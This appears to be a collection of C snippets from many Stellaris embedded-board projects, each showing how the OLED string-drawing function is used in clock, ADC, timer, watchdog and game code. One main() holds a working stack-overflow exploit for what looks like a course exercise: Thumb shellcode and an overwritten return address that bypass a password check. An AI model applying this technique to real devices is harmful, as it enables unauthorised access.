void main () { SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // NOTE: actual clock speed is pll / 2/ div = 400M / 2/ 10 // SysCtlClockSet(SYSCTL_SYSDIV_10 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); initializeGlobalData(); // initialize global data #if DEBUG RIT128x96x4Init(1000000); #endif #if DEBUG char num[30]; usnprintf(num, 30, "begin CommandTest"); RIT128x96x4StringDraw(num, 0, 0, 15); #endif strncpy(global.commandStr, "M A", COMMAND_LENGTH - 1); // this is the test command commandTask.runTaskFunction(commandTask.taskDataPtr); #if DEBUG usnprintf(num, 30, global.responseStr); RIT128x96x4StringDraw(num, 0, 70, 7); usnprintf(num, 30, "done %d %d", global.measurementSelection, global.responseReady); RIT128x96x4StringDraw(num, 0, 80, 15); #endif }
void ADC0IntHandler() { unsigned long adc0Value; // Holds the ADC result char adc0String[5]; // Holds the string-converted ADC result // 清ADC0中断标志. // ADCIntClear (unsigned long ulBase, unsigned long ulSequenceNum) ADCIntClear(ADC0_BASE, 0); //从SSO读出转换结果 (FIFO0),本例中只有一个采样.如果要使用多个转换源,需要使用数组做为参数传递给API函数,保存FIFO转换结果. // long ADCSequenceDataGet (unsigned long ulBase,unsigned long ulSequenceNum,unsigned long *pulBuffer) ADCSequenceDataGet(ADC0_BASE, 0, &adc0Value); adc0Value= ((59960 - (adc0Value * 100)) / 356); // 在OLED上显示当前温度 usprintf(adc0String, "%d", adc0Value); IntMasterDisable(); RIT128x96x4StringDraw("Current temp : ", 6, 48, 15); RIT128x96x4StringDraw(adc0String, 94, 48, 15); IntMasterEnable(); // ADC模块空闲,可以进行下一次转换 adc_busy=0; }
void getData(int* valuePtr) { // declare a temp place to store the data // int tempValue; static int i = 0; char myData[2]; // let valuePtr point to it // valuePtr = &tempValue; // get the data *valuePtr = i; myData[0] = i + '0'; // convert the int i to ascii myData[1] = '\0'; // terminate the string // display its value as a character RIT128x96x4StringDraw("getData data is: \n", 15, 24, 15); RIT128x96x4StringDraw(myData, 15, 34, 15); delay(1000); // delay so we can read the display i = (i+1) % 8; // return; }
//***************************************************************************** // Function to display the displays the current height (mili Volts), reference // height (mili Volts) and the current height as a percentage. //***************************************************************************** void displayInfo(int height, int degrees, int main, int tail) { char string[40]; sprintf(string, "main: %3d ", main); RIT128x96x4StringDraw(string, 5, 14, 15); sprintf(string, "tail: %3d ", tail); RIT128x96x4StringDraw(string, 5, 24, 15); sprintf(string, "Hgt. (%%) = %d%% ", height); RIT128x96x4StringDraw(string, 5, 64, 15); sprintf (string, "yaw: %5d", yaw); RIT128x96x4StringDraw (string, 5, 74, 15); sprintf (string, "Deg = %4d", degrees); RIT128x96x4StringDraw (string, 5, 84, 15); if ((g_ulSampCnt % 25) == 0){ sprintf(string, " Main: %d Tail: %d\n----------\n", main_duty, tail_duty); UARTSend (string); sprintf(string, " Alt (%%): %d [%d] {%d}\n----------\n", desiredHeight, height, altError); UARTSend (string); sprintf(string, " Yaw: %d [%d] {%d}\n----------\n",desiredYaw, degrees, yawError); UARTSend (string); sprintf(string, " State: %d\n----------\n", state); UARTSend (string); } }
// Prints to the OLED display the necessary string for the menu where the ADC distance values are being displayed void printADCString() { RIT128x96x4StringDraw("ADC 0:\0", 30, 24, 15); RIT128x96x4StringDraw("ADC 1:\0", 30, 34, 15); RIT128x96x4StringDraw("ADC 2:\0", 30, 44, 15); RIT128x96x4StringDraw("ADC 3:\0", 30, 54, 15); RIT128x96x4StringDraw("Press SEL to exit\0", 15, 74, 15); }
//***************************************************************************** // // Display the interrupt state on the OLED. The currently active and pending // interrupts are displayed. // //***************************************************************************** void DisplayIntStatus(void) { unsigned long ulTemp; char pcBuffer[4]; // // Display the currently active interrupts. // ulTemp = HWREG(NVIC_ACTIVE0); pcBuffer[0] = (ulTemp & 1) ? '1' : ' '; pcBuffer[1] = (ulTemp & 2) ? '2' : ' '; pcBuffer[2] = (ulTemp & 4) ? '3' : ' '; pcBuffer[3] = '\0'; RIT128x96x4StringDraw(pcBuffer, 42, 40, 15); // // Display the currently pending interrupts. // ulTemp = HWREG(NVIC_PEND0); pcBuffer[0] = (ulTemp & 1) ? '1' : ' '; pcBuffer[1] = (ulTemp & 2) ? '2' : ' '; pcBuffer[2] = (ulTemp & 4) ? '3' : ' '; RIT128x96x4StringDraw(pcBuffer, 96, 40, 15); }
//***************************************************************************** // // Exchange data between two functions // //***************************************************************************** int main(void) { // // Set the clocking to run directly from the crystal. // SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // // Initialize the OLED display. // RIT128x96x4Init(1000000); // declare a shared variable and a pointer to it int myValue = 0; int* myPtr = &myValue; // let myPtr point to myValue char myData[2]; // declare a character array while(TRUE) { getData(myPtr); myData[0] = *myPtr+'0'; myData[1] = '\0'; // terminate the string RIT128x96x4StringDraw("Data returned: \n", 15, 44, 15); RIT128x96x4StringDraw(myData, 15, 54, 15); delay(1000); // delay so we can read the display } }
int main() { // Set the clocking to run directly from the crystal. SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); //Initialize peripherals InitializeDisplay(); InitializeTimers(); InitializeADC(); InitializeInterrupts(); //Main program loop unsigned long avgADCValue = 0; while(1) { if(BufOneReadyToRead) { avgADCValue = GetAvgOfBuf(1); usnprintf(str, 25, "Buf1: %5u", avgADCValue); RIT128x96x4StringDraw(str, 0, 0, 15); BufOneReadyToRead = 0; } else if(BufTwoReadyToRead) { avgADCValue = GetAvgOfBuf(2); usnprintf(str, 25, "Buf2: %5u", avgADCValue); RIT128x96x4StringDraw(str, 0, 10, 15); BufTwoReadyToRead = 0; } } }
//***************************************************************************** // // Initializes the hardware's system clock and the SysTick Interrupt // //***************************************************************************** void SysTickInit() { // // Set the clocking to run directly from the crystal. // SysCtlClockSet(SYSCTL_SYSDIV_4 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // // Get the system clock speed. // systemClock = SysCtlClockGet(); // // Configure SysTick interrupts // SysTickPeriodSet(systemClock / SYSTICK_FREQUENCY); SysTickIntEnable(); SysTickEnable(); // // Code to cause a wait for a "Select Button" press // SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOG); GPIOPinTypeGPIOInput(GPIO_PORTG_BASE, GPIO_PIN_7); RIT128x96x4Init(1000000); RIT128x96x4StringDraw("Press \"Select\" Button", 0, 24, 15); RIT128x96x4StringDraw("To Continue", 32, 32, 15); while(GPIOPinRead(GPIO_PORTG_BASE, GPIO_PIN_7)); SysCtlPeripheralDisable(SYSCTL_PERIPH_GPIOG); SysCtlPeripheralReset(SYSCTL_PERIPH_GPIOG); }
void main(void) { // Set the clocking to run directly from the crystal. SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); RIT128x96x4Init(1000000); // Initialize the OLED display. // Replace 'Harold' and 6 with exploit string and its // length printUserWelcome("\0\0\0" // Front padding "\x4f\xf0\x01\x06" // mov.w r6, #1 "\x02\x96" // str r6, [sp, #8] "\x40\xf2\x93\x1e" // movw lr, #403 "\x70\x47" // bx lr "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" // End padding "\xD1\x00\x00\x20", 43); // Place 0x200000D1 in the link register instead if (gPasswordEntered) { RIT128x96x4StringDraw("Success!", 32, 24, 15); } else { RIT128x96x4StringDraw("Failure!", 32, 24, 15); } while (1); }
// Prints to the OLED display the necessary string for the menu where the ADC distance values are being displayed void chooseSpeed() { RIT128x96x4StringDraw("Choose a speed\0", 27, 0, 15); RIT128x96x4StringDraw("Press up for 1\0", 27, 20, 15); RIT128x96x4StringDraw("Press down for 2\0", 22, 34, 15); RIT128x96x4StringDraw("1. Faster\0", 40, 54, 15); RIT128x96x4StringDraw("2. Slower\0", 40, 64, 15); }
static void initMain(void){ // Method for displaying the screen for the main menu drawLogo(); RIT128x96x4StringDraw("Classic", 10, 50, 15); RIT128x96x4StringDraw("Continuous", 10, 60, 15); RIT128x96x4StringDraw("Instructions", 10, 70, 15); RIT128x96x4StringDraw("High Scores", 10, 80, 15); drawPointer(50); }
//***************************************************************************** // // This example application demonstrates the use of the timers to generate // periodic interrupts. // //***************************************************************************** int main(void) { // // Set the clocking to run directly from the crystal. // SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // // Initialize the OLED display and write status. // RIT128x96x4Init(1000000); RIT128x96x4StringDraw("Timers example", 18, 24, 15); RIT128x96x4StringDraw("T1: 0 T2: 0", 24, 32, 15); // // Enable the peripherals used by this example. // SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER0); SysCtlPeripheralEnable(SYSCTL_PERIPH_TIMER1); // // Enable processor interrupts. // IntMasterEnable(); // // Configure the two 32-bit periodic timers. // TimerConfigure(TIMER0_BASE, TIMER_CFG_PERIODIC); TimerConfigure(TIMER1_BASE, TIMER_CFG_PERIODIC); TimerLoadSet(TIMER0_BASE, TIMER_A, SysCtlClockGet()); TimerLoadSet(TIMER1_BASE, TIMER_A, SysCtlClockGet() / 2); // // Setup the interrupts for the timer timeouts. // IntEnable(INT_TIMER0A); IntEnable(INT_TIMER1A); TimerIntEnable(TIMER0_BASE, TIMER_TIMA_TIMEOUT); TimerIntEnable(TIMER1_BASE, TIMER_TIMA_TIMEOUT); // // Enable the timers. // TimerEnable(TIMER0_BASE, TIMER_A); TimerEnable(TIMER1_BASE, TIMER_A); // // Loop forever while the timers run. // while(1) { } }
void rit_p14201_out(char const* s) { rit_add_lines(s); for (int i = 0; i < RIT_ROW; ++i) { RIT128x96x4StringDraw(g_rit_empty_line, 2, i * 8, 0); RIT128x96x4StringDraw(g_rit_buf[i], 2, i * 8, RIT_BRIGHTNESS); } }
static void displayScores(void){ // Method for displaying high scores RIT128x96x4StringDraw("High Scores", 40, 0, 15); static char s1[24]; usprintf(s1, "Classic Mode: %d", classic); RIT128x96x4StringDraw(s1, 0, 40, 15); static char s2[24]; usprintf(s2, "Continuous Mode: %d", continuous); RIT128x96x4StringDraw(s2, 0, 60, 15); }
static void DisplayTimeA(void){ // Method for displaying the alarm based on the counters static char pcTime[10]; if (aampm==0){ usprintf(pcTime, "%d%d:%d%d AM", ah2, ah1, am2, am1); } else { usprintf(pcTime, "%d%d:%d%d PM", ah2, ah1, am2, am1); } RIT128x96x4StringDraw(pcTime, 40, 40, 15); if (alarmSet){ RIT128x96x4StringDraw("Alarm ON", 40, 80, 15); } }
//***************************************************************************** // // Task to output Initial screen. // //***************************************************************************** void PrintInit(){ // // Code to cause a wait for a "Select Button" press // SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOG); GPIOPinTypeGPIOInput(GPIO_PORTG_BASE, GPIO_PIN_7); GPIOPadConfigSet(GPIO_PORTG_BASE, GPIO_PIN_7, GPIO_STRENGTH_2MA, GPIO_PIN_TYPE_STD_WPU); RIT128x96x4Init(1000000); RIT128x96x4StringDraw("FreeRTOS starting\n", 8, 0, 15); RIT128x96x4StringDraw("Press \"Select\" Button", 0, 24, 15); RIT128x96x4StringDraw("To Continue", 32, 32, 15); while(GPIOPinRead(GPIO_PORTG_BASE, GPIO_PIN_7)); SysCtlPeripheralReset(SYSCTL_PERIPH_GPIOG); SysCtlPeripheralDisable(SYSCTL_PERIPH_GPIOG); }
//***************************************************************************** // // Print "Hello world!" to the OLED on the Stellaris evaluation board. // //***************************************************************************** int main(void) { // // Set the clocking to run directly from the crystal. // SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // // Initialize the OLED display. // RIT128x96x4Init(1000000); // // Hello! // RIT128x96x4StringDraw("Hello World!", 30, 24, 15); // // Finished. // while(1) { } }
void OLEDExec(){ if(sysTickCount >= timeToExec) { /* * Save the tick count into a string (character array) * The length is 32 because each character is 8x8 pixels, * and since the OLED screen is 128 pixels wide * 32 (128 / 8) is the number of characters that will * successfully fit on a single line of the OLED screen. */ char sysTickStr[32]; // sprintf is a standard C function that builds strings from other arguments sprintf(sysTickStr, "SysTick: %d", sysTickCount); // Draw the string on the OLED display RIT128x96x4StringDraw(sysTickStr, 8, 33, 15); // Advance next execution time timeToExec += delay; } }
//***************************************************************************** // // Flash "A B C D" to the board. // //***************************************************************************** int main(void) { unsigned long flashDelay = 8000; // Delay between flashes char *characters = "ABCD"; // Characters to flash // Set the clocking to run directly from the crystal. SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // Initialize display RIT128x96x4Init(OLED_CLK); // Flash the letters ABCD unsigned int xVal = 15; unsigned int yVal = 15; while(TRUE) { RIT128x96x4StringDraw(characters, xVal, yVal, 15); delay(flashDelay); RIT128x96x4Clear(); delay(flashDelay); } }
void TickDisplayExecute() { if(sysTickCount >= tickDisplayNext) { char count_string[24]; // // Save the tick count into a string // sprintf(count_string, "Chinmay: %d", sysTickCount); /* * ****************** EDITS ************************ * Changed the display text from "Blinky:" to my * first name, "Chinmay:" * */ // // Draw the tick count string on the OLED display // RIT128x96x4StringDraw(count_string, 16, 0, 15); // // Advance next execution time // tickDisplayNext += tickDisplayDelta; } }
//The OLED Task definition //This is set up like the other taskScheduler tasks, with a while loop and a vDelay //dictating the control flow and execution frequency void OLEDTask(void *pvParameters){ unsigned long queueVal = 0; while(true) { RIT128x96x4StringDraw("Motor Control", 16, 42, 15); char sysTickStr[32]; sprintf(sysTickStr, "SysTick: %d", sysTickCount); RIT128x96x4StringDraw(sysTickStr, 16, 51, 15); if(xQueueReceive(feedBack, (void*) &queueVal, 0)){ char adc[32]; RIT128x96x4StringDraw(" ", 16, 60, 15); sprintf(adc, "ADCVAL: %d", queueVal); RIT128x96x4StringDraw(adc, 16, 60, 15); } vTaskDelay(ONE_MS * 200); } }
//***************************************************************************** // //! Displays an integer on the OLED display. //! //! \param num is the integer to display. //! \param ulX is the horizontal position to display the string, specified in //! columns from the left edge of the display. //! \param ulY is the vertical position to display the string, specified in //! rows from the top edge of the display. //! \param ucLevel is the 4-bit gray scale value to be used for displayed text. //! //! This function will display the number on the display. //! The num should be between 0 and 999 //! //! If the drawing of the string reaches the right edge of the display, no more //! characters will be drawn. Therefore, special care is not required to avoid //! supplying a string that is ``too long'' to display. //! //! \note Because the OLED display packs 2 pixels of data in a single byte, the //! parameter \e ulX must be an even column number (for example, 0, 2, 4, and //! so on). //! //! \return None. // //***************************************************************************** void RIT128x96x4UDecOut3(unsigned long num, unsigned long ulX, unsigned long ulY, unsigned char ucLevel) { char string[10]; UInt2Str3(num, string); RIT128x96x4StringDraw(string, ulX, ulY, ucLevel); }
void refreshConsole(void) { int y; for(y=0;y<MAX_LINES;y++) RIT128x96x4StringDraw(ac_consoleImage[y], 0, y*LINE_HEIGHT, 15); }
//***************************************************************************** // // This example demonstrates the use of the watchdog timer. // //***************************************************************************** int main(void) { // // Set the clocking to run directly from the crystal. // SysCtlClockSet(SYSCTL_SYSDIV_1 | SYSCTL_USE_OSC | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); // // Initialize the OLED display and write status. // RIT128x96x4Init(1000000); RIT128x96x4StringDraw("Watchdog example", 12, 24, 15); // // Enable the peripherals used by this example. // SysCtlPeripheralEnable(SYSCTL_PERIPH_WDOG0); SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOG); // // Enable processor interrupts. // IntMasterEnable(); // // Set GPIO G2 as an output. This drives an LED on the board that will // toggle when a watchdog interrupt is processed. // GPIOPinTypeGPIOOutput(GPIO_PORTG_BASE, GPIO_PIN_2); GPIOPinWrite(GPIO_PORTG_BASE, GPIO_PIN_2, 0); // // Enable the watchdog interrupt. // IntEnable(INT_WATCHDOG); // // Set the period of the watchdog timer. // WatchdogReloadSet(WATCHDOG0_BASE, SysCtlClockGet()); // // Enable reset generation from the watchdog timer. // WatchdogResetEnable(WATCHDOG0_BASE); // // Enable the watchdog timer. // WatchdogEnable(WATCHDOG0_BASE); // // Loop forever while the LED winks as watchdog interrupts are handled. // while(1) { } }
//Print at x,y with full brightness void oled_d_print_xy(char *str, unsigned long x, unsigned long y) { IntMasterDisable(); RIT128x96x4StringDraw(str, x, y, MAX_BRIGHTNESS); IntMasterEnable(); }
//displays Accel values displayAccel() { unsigned char Xdata, Ydata, Zdata; char str[10]; Xdata = signedByteAccelRead(0x06); sprintf(str, "%hhd ", Xdata); RIT128x96x4StringDraw(str, 0, 17, 15); Ydata = signedByteAccelRead(0x07); sprintf(str, "%hhd ", Ydata); RIT128x96x4StringDraw(str, 0, 25, 15); Zdata = signedByteAccelRead(0x08); sprintf(str, "%hhd ", Zdata); RIT128x96x4StringDraw(str, 0, 33, 15); SysCtlDelay((SysCtlClockGet() / 3) /10); }
//Print at 0,0 with full brightness void oled_d_print_origin(char *str) { IntMasterDisable(); RIT128x96x4StringDraw(str, 0, 0, MAX_BRIGHTNESS); IntMasterEnable(); }
//Print at x,y with given brightness void oled_d_print_xyb(char *str, unsigned long x, unsigned long y, unsigned long b) { IntMasterDisable(); RIT128x96x4StringDraw(str, x, y, b); IntMasterEnable(); }
int main(void) { volatile unsigned long ulLoop; SysCtlClockSet( SYSCTL_SYSDIV_4 | SYSCTL_USE_PLL | SYSCTL_OSC_MAIN | SYSCTL_XTAL_8MHZ); SysCtlPeripheralEnable(SYSCTL_PERIPH_GPIOF); for (ulLoop = 0; ulLoop < 2000; ulLoop++) { } // // Enable the GPIO pin for the LED (PF0). Set the direction as output, and // enable the GPIO pin for digital function. // GPIODirModeSet(GPIO_PORTF_BASE, GPIO_PIN_0, GPIO_DIR_MODE_OUT); GPIOPadConfigSet(GPIO_PORTF_BASE, GPIO_PIN_0, GPIO_STRENGTH_2MA, GPIO_PIN_TYPE_STD); GPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_0, 1); // Start the OLED display and write a message on it RIT128x96x4Init(ulSSI_FREQUENCY); RIT128x96x4StringDraw("Hello Out there :)", 0, 0, mainFULL_SCALE); // // Loop forever. // while (1) { // // Turn on the LED. // GPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_0, GPIO_PIN_0); // GPIO_PORTF_DATA_R |= 0x01; // // Delay for a bit. // for (ulLoop = 0; ulLoop < 200000; ulLoop++) { } // // Turn off the LED. // GPIOPinWrite(GPIO_PORTF_BASE, GPIO_PIN_0, 0); // // Delay for a bit. // for (ulLoop = 0; ulLoop < 200000; ulLoop++) { } } return 0; }